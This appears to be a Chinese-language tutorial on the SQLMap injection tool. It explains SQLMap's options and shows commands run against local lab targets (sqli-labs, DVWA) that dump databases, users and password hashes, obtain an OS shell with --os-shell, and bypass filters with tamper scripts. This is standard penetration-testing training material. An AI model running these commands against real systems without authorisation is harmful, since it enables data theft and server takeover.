一、SQLMap的介绍

1.SQLMap 是一个开源的SQL注入工具,可以用来进行自动化检测,甚至可以利用 SQL 注入漏洞直接获取目标数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

2.支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, MicrosoftAccess,IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

二、SQLMap 五种注入方式

  1. 联合注入
  2. 报错注入
  3. 布尔盲注
  4. 时间盲注
  5. 堆叠注入

三、SQLMap的重要参数

1.参数:-u /
格式:sqlmap -u "目标网站的url "
sqlmap -u "http://192.168.1.5/sqlilabs/Less-1/?id=1" id为网站服务器的IP地址

结果截图:

mysql sql注入 like mysql注入工具_web安全

2.参数-m

格式:sqlmap -m 文件名

sqlmap -m 1.txt

会从文件中依次执行url,一行只能写一个url

mysql sql注入 like mysql注入工具_web安全_02

2.参数:-r

表示从文件中加载http请求,将请求数据包放到文件中

mysql sql注入 like mysql注入工具_网络安全_03

sqlmap -r 2.txt

mysql sql注入 like mysql注入工具_web安全_04

4.设置回显等级

参数-v 默认为1

0:只回显Python错误信息

1:同时回显基本信息和警告信息

2:同时回显debug信息

3:同时显示注入的payload

4:同时显示http请求

5:同时显示http响应头

6:同时显示http响应请求

语法:sqlmap -u "http://192.168.1.5/sqlilabs/Less-1/?id=1" -v 3

mysql sql注入 like mysql注入工具_web安全_05

5.设置探测等级

参数 --level

共有五个等级 默认等级为1,

level>=2 测试http cookie

level>=3 测试http user-agent/referer

level =5 测试 http host

基本格式:root@kali:~/Desktop# sqlmap -r 2.txt --level 2

mysql sql注入 like mysql注入工具_web安全_06

6.设置http数据包相关参数

参数:--data  把data后边的数据以post方式提交

基本格式:root@kali:~/Desktop# sqlmap -u "http://192.168.1.5/sqlilabs/Less-12/" --data "id=1"

mysql sql注入 like mysql注入工具_mysql sql注入 like_07

7.参数--cookie 把cookie参数复制添加到--cookie后边

基本格式:sqlmap -u "http://192.168.1.5/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie = "Cookie: security=low; PHPSESSID=c799t8hil8934arhoeipuhep54"

mysql sql注入 like mysql注入工具_网络安全_08

8.指定测试参数

-p :sqlmap默认会测试所有的GET和POST参数,当-level的值大于等于2的时候也 会测试HTTP Cookie头的值,当大于等于3的时候也会测试User- Agents HTTP Referer头的值。

9.设置探测风险等级

参数:--risk 共有三个风险等级,

1-3: 默认是1会测试大部分的测试语句,

2会增加基于时间的测试语句,

3会增加OR语句的SQL注入测试。

注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。

10.列数据

(1)--dbs 查看数据库

操作格式:root@kali:~/Desktop# sqlmap -u "http://192.168.1.5/sqlilabs/Less-7/?id=1" --dbs

mysql sql注入 like mysql注入工具_web安全_09

(2)--users 查看所有用户 --password 查看所有密码  可以连在一起用

操作格式:root@kali:~/Desktop# sqlmap -u "http://192.168.1.5/sqlilabs/Less-7/?id=1" --dbs --users --password 
进入目录:cd /root/.sqlmap/output/192.168.1.5

11.使用shell命令:

参数:--os-shell 反弹交互shell

前提:需要网站的物理路径,其次是需要有FILE读写权限

12.--tamper 绕过注入限制

usqlmap-u"http://url/news?id=1" --tamper "base64encode.py"